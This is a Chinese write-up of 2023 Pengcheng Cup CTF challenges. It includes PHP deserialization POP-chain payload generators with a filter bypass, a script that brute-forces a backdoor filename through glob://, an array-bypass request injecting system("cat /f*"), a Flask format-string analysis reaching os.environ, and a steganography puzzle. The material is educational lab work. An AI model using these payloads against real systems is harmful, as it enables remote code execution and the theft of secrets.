2023鹏城杯
WEB
web1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 <?php show_source (__FILE__ );error_reporting (0 );class Hacker { private $exp ; private $cmd ; public function __toString ( ) { call_user_func ('system' , "cat /flag" ); } }class A { public $hacker ; public function __toString ( ) { echo $this ->hacker->name; return "" ; } }class C { public $finish ; public function __get ($value ) { $this ->finish->hacker (); echo 'nonono' ; } }class E { public $hacker ; public function __invoke ($parms1 ) { echo $parms1 ; $this ->hacker->welcome (); } }class H { public $username ="admin" ; public function __destruct ( ) { $this ->welcome (); } public function welcome ( ) { echo "welcome~ " .$this ->username; } }class K { public $func ; public function __call ($method ,$args ) { call_user_func ($this ->func,'welcome' ); } }class R { private $method ; private $args ; public function welcome ( ) { if ($this ->key === true && $this ->finish1->name) { if ($this ->finish->finish) { call_user_func_array ($this ->method,$this ->args); } } } }function nonono ($a ) { $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|system|eval|flag/i" ; return preg_replace ($filter ,'' ,$a ); }$a = $_POST ["pop" ];if (isset ($a )){ unserialize (nonono ($a )); }?>
非预期
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 class Hacker { private $exp ; private $cmd ; public function __toString ( ) { call_user_func ('system' , "cat /flag" ); } }class H { public $username ="admin" ; public function __destruct ( ) { $this ->welcome (); } public function welcome ( ) { echo "welcome~ " .$this ->username; } }$aaa = new H ();$aaa ->username = new Hacker ();echo urlencode (serialize ($aaa ));
预期
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php class A { public $hacker ; }class C { public $finish ; }class E { public $hacker ; }class H { public $username ="admin" ; }class K { public $func ; }class R { private $method ; private $args ; public function __construct ( ) { $this ->key = true ; @$this ->finish1->name = true ; @$this ->finish->finish = true ; $this ->method = 'system' ; $this ->args = array ("whoami" ); } }$aaa = new H ();$aaa ->username = new A ();$aaa ->username->hacker = new C ();$aaa ->username->hacker->finish = new K ();$aaa ->username->hacker->finish->func = new E ();$aaa ->username->hacker->finish->func->hacker = new R ();$aaa = serialize ($aaa );$aaa = preg_replace ("/system/" , "syssystemtem" , $aaa );echo urlencode ($aaa );
img
web2
前端有个scandir功能,输入目录,如果有此目录返回yesyesyes!!!
,没有此目录返回nonono~~~
如下
img
前端看到有个后门文件,但是如果单纯爆破文件名要16的16次方,显然不可能
img
利用glob协议,匹配地找php,这样最多只要匹配16*16次即可得到文件名
img
借用lxxxin 师傅的wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import requests url = "http://172.10.0.5/" s = "0123456789abcdef" filename = "glob:///var/www/html/backdoor_" for i in range (50 ): for j in s: temp = filename + j + "*.php" data = { "filename" : temp } r = requests.post (url, data=data) if "yes" in r.text: filename += j print (filename + ".php" ) break
backdoor_00fbc51dcdf9eef767597fd26119a894.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php highlight_file (__FILE__ );error_reporting (0 );if (isset ($_GET ['username' ])){ $sandbox = '/var/www/html/sandbox/' .md5 ("5050f6511ffb64e1914be4ca8b9d585c" .$_GET ['username' ]).'/' ; mkdir ($sandbox ); chdir ($sandbox ); if (isset ($_GET ['title' ])&&isset ($_GET ['data' ])){ $data = $_GET ['data' ]; $title = $_GET ['title' ]; if (strlen ($data )>5 ||strlen ($title )>3 ){ die ("no!no!no!" ); } file_put_contents ($sandbox .$title ,$data ); if (strlen (file_get_contents ($title )) <= 10 ) { system ('php ' .$sandbox .$title ); } else { system ('rm ' .$sandbox .$title ); die ("no!no!no!" ); } } else if (isset ($_GET ['reset' ])) { system ('/bin/rm -rf ' . $sandbox ); } }?>
数组绕过
img
1 /backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=datou&title[]=1 &data[]=<?php system ("cat /f*" );?>
file_put_contents($sandbox.$title,$data);
将data写入$sandbox.$title
system('php '.$sandbox.$title);
执行$sandbox.$title
(复现的话发现好像写不进去文件)
Escape
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from sqlite3 import * from random import choice from hashlib import sha512 from flask import Flask, request, Response from flask_limiter import Limiter from flask_limiter.util import get_remote_address app = Flask(__name__) limiter = Limiter( app=app, key_func=get_remote_address, default_limits=["50000 per hour" ], storage_uri="memory://" , ) salt = b'****************' class PassHash(str): def __str__(self): return sha512(salt + self.encode()).hexdigest() def __repr__(self): return sha512(salt + self.encode()).hexdigest() con = connect("users.db" ) cur = con.cursor() cur.execute("DROP TABLE IF EXISTS users" ) cur.execute("CREATE TABLE users(username, passhash)" ) passhash = PassHash('' .join (choice("0123456789" ) for _ in range(16))) cur.execute( "INSERT INTO users VALUES (?, ?)" , ("admin" , str(passhash)) ) con.commit() @app.route('/source' ) @limiter.limit("1/second" ) def source (): return Response(open(__file__).read (), mimetype="text/plain" ) @app.route('/' ) @limiter.limit("3/second" ) def index(): if 'username' not in request.args or 'password' not in request.args: return open("index.html" ).read () else : username = request.args["username" ] new_pwd = PassHash(request.args["password" ]) con = connect("users.db" ) cur = con.cursor() res = cur.execute( "SELECT * from users WHERE username = ? AND passhash = ?" , (username, str(new_pwd)) ) if res.fetchone(): return open("secret.html" ).read () return ("Sorry, we couldn't find a user '{user}' with password hash <code>{{passhash}}</code>!" .format(user=username) .format(passhash=new_pwd) )if __name__ == "__main__" : app.run('0.0.0.0' , 10000)
原题
img
不熟悉ssti,但就看这个payload,结合ai和自己的见解简单分析一下(不一定对)
因为passhash=PassHash(''.join(choice("0123456789") for _ in range(16)))
,所以可以调用__str__
方法
img
然后获取全局{passhash.__str__.__globals__}
,里面有app对象
img
然后app内有个内置的wsgi_app
img
img
可以看到有os、sys模块
img
这样就可以调用这些模块了,原题有提示在env中,os.environ即可
img
MISC
我的壁纸
套娃题,拿了个一血
拿到bg.jpg
看到文件中有很多504B0304,分离出zip
拿到flag.txt、flag.wav、youshouldknowme.jpeg
img
flag.txt是snow隐写,密码为rar中的注释,得到flag3
img
flag.wav是sstv
用rx-sstv可以看到一张二维码,扫出来得到flag2
youshouldknowme.jpeg是steghide,密码在文件尾
img
拿到flag1
3段flag拼起来得到最后的flag